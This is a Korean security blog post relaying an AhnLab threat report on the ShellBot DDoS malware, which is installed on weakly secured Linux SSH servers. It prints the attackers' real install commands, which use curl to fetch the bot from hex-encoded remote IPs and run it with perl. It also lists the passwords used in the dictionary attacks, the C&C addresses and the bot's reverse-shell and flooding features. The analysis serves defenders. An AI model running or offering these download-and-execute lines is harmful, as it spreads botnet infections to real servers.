오브의 빛나는 별

[오늘의 보안] ShellBot DDoS 악성코드 본문

오늘의 보안

[오늘의 보안] ShellBot DDoS 악성코드

오브의 별 2023. 10. 19. 16:37
반응형

<3줄 요약>

- 최근 부적절하게 관리되고 있는 리눅스 SSH 서버를 대상으로 설치되고 있는 ShellBot 악성코드의 유포 방식이 일반적인 IP 주소 대신 16진수 값으로 변경
- 일반적으로 '점 – 10진수 표기법'을 사용하나 공격자들은 URL 진단을 우회하기 위한 목적으로 10진수나 16진수로 표현
- ShellBot이 설치될 경우 DDoS Bot으로 사용되거나 다양한 백도어 기능을 통해 추가 악성코드 설치 및 다른 공격에 사용

 

ShellBot 악성코드: PerlBot이라고도 불리는 ShellBot은 Perl 언어로 개발된 DDoS Bot 악성코드로서 C&C 서버와 IRC 프로토콜을 이용해 통신하는 것

DDoS Bot: 스팸 발송, 데이터 도난, 랜섬웨어, 사기성 광고 클릭 또는 DDoS(분산 서비스 거부) 공격을 포함하는 불법 또는 악의적인 작업을 수행하도록 설계

SSH 서버: secure shell의 약자이며, 보안이 강화된 telnet(원격접속)

 

 

https://asec.ahnlab.com/ko/57562/

 

16진수 표기법 주소를 통해 설치되는 ShellBot DDoS 악성코드 - ASEC BLOG

AhnLab Security Emergency response Center(ASEC)에서는 최근 부적절하게 관리되고 있는 리눅스 SSH 서버를 대상으로 설치되고 있는 ShellBot 악성코드의 유포 방식이 변경된 것을 확인하였다. 전체적인 흐름은

asec.ahnlab.com

AhnLab Security Emergency response Center(ASEC)에서는 최근 부적절하게 관리되고 있는 리눅스 SSH 서버를 대상으로 설치되고 있는 ShellBot 악성코드의 유포 방식이 변경된 것을 확인하였다. 전체적인 흐름은 동일하지만 공격자가 ShellBot을 설치할 때 사용하는 다운로드 주소가 일반적인 IP 주소 대신 16진수 값으로 변경된 것이 특징이다.

  • hxxp://0x2763da4e/dred
  • hxxp://0x74cc54bd/static/home/dred/dred


1. 과거 URL 탐지 우회 사례

일반적으로 IP 주소는 “점 – 10진수 표기법”(Dot-decimal notation) 방식으로 사용되며 공격자들 또한 C&C 주소나 다운로드, 피싱 URL의 주소를 “hxxp://94.250.254[.]43/”와 같이 사용한다. 하지만 IP 주소는 이러한 “점 – 10진수 표기법” 외에도 10진수나 16진수 표기법으로 표현할 수 있으며 일반적으로 익숙한 웹 브라우저에서도 이를 지원한다.

이러한 점 때문에 공격자들은 URL 진단을 우회하기 위한 목적으로 다양한 방식으로 URL을 사용해 왔으며 실제 과거 피싱 PDF 악성코드 제작 시에도 10진수 주소를 사용한 바 있다. [1] 피싱 PDF 악성코드에는 “hxxp://1593507371”이라는 URL이 포함되어 있었으며 이는 “점 – 10진수 표기법”으로 “hxxp://94.250.254[.]43/”가 된다.

Figure 1. 피싱 PDF 악성코드에 포함된 악성 URL

피싱 PDF의 URL을 클릭할 경우 웹 브라우저가 “hxxp://1593507371” 주소로 접속하는데 이는 실질적으로 “hxxp://94.250.254[.]43/” 주소로 접속한 결과와 같아진다. 공격자는 악성 URL 탐지를 우회하기 위해 이렇게 10진수 방식의 IP 주소를 URL로서 사용하였으며 사용자가 접속할 경우 실제 다양한 피싱 사이트로 리다이렉트되었다.

Figure 2. 과거 PDF 링크 클릭 시 리다이렉트되는 주소들


2. 과거 ShellBot 공격 사례

공격자들은 22번 포트 즉 SSH 서비스가 동작하는 시스템들을 스캐닝 한 후 SSH 서비스가 동작 중인 시스템을 찾은 이후에는 흔히 사용되는 SSH 계정 정보 목록을 이용해 사전 공격을 진행한다. 만약 로그인에 성공할 경우에는 다양한 악성코드들을 설치할 수 있다.

PerlBot이라고도 불리는 ShellBot은 Perl 언어로 개발된 DDoS Bot 악성코드로서 C&C 서버와 IRC 프로토콜을 이용해 통신하는 것이 특징이다. ShellBot은 꾸준히 사용되고 있는 오래된 악성코드로서 최근까지도 다수의 리눅스 시스템들을 대상으로 한 공격에 사용되고 있다. ASEC에서는 과거 블로그를 통해 ShellBot 공격 사례를 공개한 바 있으며, [2] 지속적으로 공격지(Attack Source) 주소와 다운로드 및 C&C 주소를 탐지 및 대응하고 있다.

최근까지도 유포 중인 ShellBot 악성코드들 중에는 “DDoS PBot v2.0” 유형이 존재하며 이를 공격에 사용하는 특정 공격자는 악성코드 설치 시 지속적으로 “dred”라는 이름을 사용하는 것이 특징이다.

Figure 3. DDoS PBot v2.0의 초기 루틴

파일명설치 명령C&C 주소IRC 채널

dred uname -a;lspci | grep -i –color ‘vga|3d|2d’;curl -s -L hxxp://39.107.61[.]230/dred -o /tmp/dred;perl /tmp/dred 192.3.141[.]163:6667 #new
dred uname -a;lspci | grep -i –color ‘vga|3d|2d’;curl -s -L hxxp://39.165.53[.]17:8088/iposzz/dred -o /tmp/dred;perl /tmp/dred 192.3.141[.]163:6667 #bigfalus

Table 1. ShellBot 설치 시 사용된 명령 및 C&C 정보 – 과거

명령 (분류)설명

system 감염 시스템 정보 출력
version 버전 정보 출력
channel IRC 제어 명령들
flood DDoS 명령들
TCP, UDP, HTTP, SQL Flooding 등
utils 공격 명령들
Port Scan, Reverse Shell, 파일 다운로드 등

Table 2. DDoS PBot v2.0이 지원하는 기능들


3. 최신 ShellBot 공격 사례

2023년 9월 경에는 동일한 공격자가 기존의 “점 – 10진수 표기법” 형태의 IP 주소 대신 16진수 형태의 IP 주소를 이용해 ShellBot을 설치하고 있는 것이 확인되었다. 다음은 실제 해당 공격을 수행한 공격지(Attack Source)들의 주소와 공격에 사용된 ID / Password 목록들 중 일부이다.

IDPassword공격지 (Attack Source) 주소

admin admin 61.242.178[.]220
root !Q2w3e4r 135.125.240[.]201
cloud cloud 124.222.211[.]66
root root123 31.145.142[.]206
postgres postgres 175.178.157[.]198
root Passw0rd 123.6.5[.]229

Table 3. ShellBot 공격자가 사용한 계정 정보 및 공격지 주소

공격자는 로그인에 성공한 이후 다음 명령들을 이용해 ShellBot을 설치하였다. 과거 사례와 비교했을 때 명령 자체는 동일하며 단지 IP 주소로 16진수 값이 사용되었다는 점이 차이점이다.

파일명설치 명령C&C 주소IRC 채널 이름

dred uname -a;lspci | grep -i –color ‘vga\|3d\|2d’;curl -s -L hxxp://0x2763da4e/dred -o /tmp/dred;perl /tmp/dred 192.3.141[.]163:6667 #news
dred uname -a;lspci | grep -i –color ‘vga\|3d\|2d’;curl -s -L hxxp://0x74cc54bd/static/home/dred/dred -o /tmp/dred;perl /tmp/dred N/A N/A

Table 4. ShellBot 설치 시 사용된 명령 및 C&C 정보 – 최근

Figure 4. DDoS PBot v2.0의 설정 정보

16진수로 표현된 주소 “0x2763da4e”는 “39.99.218[.]78”이며 “0x74cc54bd”는 “116.204.84[.]189”이다. 다운로드에는 curl이 사용되었는데 웹 브라우저와 동일하게 16진수를 지원하기 때문에 리눅스 시스템 환경에서도 정상적으로 ShellBot을 다운로드하여 Perl을 통해 실행시킬 수 있다.

Figure 5. 16진수 IP 주소를 지원하는 curl


4. 결론

부적절하게 관리되고 있는 리눅스 SSH 서버를 대상으로 ShellBot 악성코드가 설치되고 있으며 최근에는 행위 기반의 진단을 우회하기 위한 목적으로 16진수 IP 주소를 활용한 사례가 확인된다. ShellBot이 설치될 경우 리눅스 서버는 공격자의 명령을 받아 특정 대상에 대한 DDoS 공격을 수행하는 DDoS Bot으로 사용될 수 있으며, 이외에도 다양한 백도어 기능을 통해 추가 악성코드가 설치되거나 다른 공격에 사용될 수 있다.

이에 따라 관리자들은 계정의 비밀번호를 추측하기 어려운 형태로 사용하고 주기적으로 변경하여 무차별 대입 공격과 사전 공격으로부터 리눅스 서버를 보호해야 하며, 최신 버전으로 패치하여 취약점 공격을 방지해야 한다. 또한 외부에 공개되어 접근 가능한 서버에 대해 방화벽과 같은 보안 제품을 이용해 공격자로부터의 접근을 통제해야 한다. 마지막으로 V3를 최신 버전으로 업데이트하여 악성코드의 감염을 사전에 차단할 수 있도록 신경 써야 한다.

ASEC에서는 리눅스 SSH 허니팟을 활용하여 이러한 공격지 (Attack Source) 주소들을 실시간으로 수집하고 있으며 확인된 공격지 주소들은 AhnLab TIP를 통해 제공 중이다.

Figure 6. AhnLab TIP의 Thread IOC 페이지

파일 진단
– Shellbot/Perl.Generic.S1100 (2020.02.12.00)

IOC
MD5

– 8853bb0aef4a3dfe69b7393ac19ddf7f : ShellBot – 과거
– 7bc4c22b0f34ef28b69d83a23a6c88c5 : ShellBot – 과거
– a92559ddace1f9fa159232c1d72096b2 : ShellBot – 최신

다운로드 주소
– hxxp://39.107.61[.]230/dred : ShellBot (과거)
– hxxp://39.165.53[.]17:8088/iposzz/dred : ShellBot (과거)
– hxxp://39.99.218[.]78/dred : ShellBot – 0x2763da4e (최신)
– hxxp://116.204.84[.]189/static/home/dred/dred : ShellBot – 0x74cc54bd (최신)

C&C 주소
– 192.3.141[.]163:6667 : ShellBot

반응형